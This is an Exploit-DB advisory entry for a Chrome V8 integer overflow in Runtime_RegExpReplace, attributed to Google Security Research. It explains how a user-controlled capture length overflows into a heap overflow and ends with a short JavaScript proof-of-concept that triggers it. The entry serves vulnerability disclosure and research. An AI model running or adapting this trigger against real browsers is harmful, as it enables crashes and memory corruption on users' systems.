Chrome V8 - 'Runtime_RegExpReplace' Integer Overflow

EDB-ID: 44084
Author: Google Security Research
Published: 2018-02-15
CVE: N/A
Type: Dos
Platform: Multiple
Aliases: N/A
Advisory/Source: Link
Tags: Integer Overflow
Vulnerable App: N/A

 Here's a snippet of the method. 
ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
isolate, captures_length_obj,
Object::ToLength(isolate, captures_length_obj));
const int captures_length = PositiveNumberToUint32(*captures_length_obj);
...
if (functional_replace) {
const int argc =
has_named_captures ? captures_length + 3 : captures_length + 2; <<-- (a)

ScopedVector<Handle<Object>> argv(argc);

int cursor = 0;
for (int j = 0; j < captures_length; j++) {
argv[cursor++] = captures[j];
}

// (b)
argv[cursor++] = handle(Smi::FromInt(position), isolate);
argv[cursor++] = string;

The variable "captures_length" can be controlled by the user, so an integer overflow may occur at (a) which causes a heap overflow at (b).


PoC:
*/

let cnt = 0;
let reg = /./g;
reg.exec = () => {
if (cnt++ == 0)
return {length: 0xfffffffe};

cnt = 0;
return null;
};

''.replace(reg, () => {});

Related Posts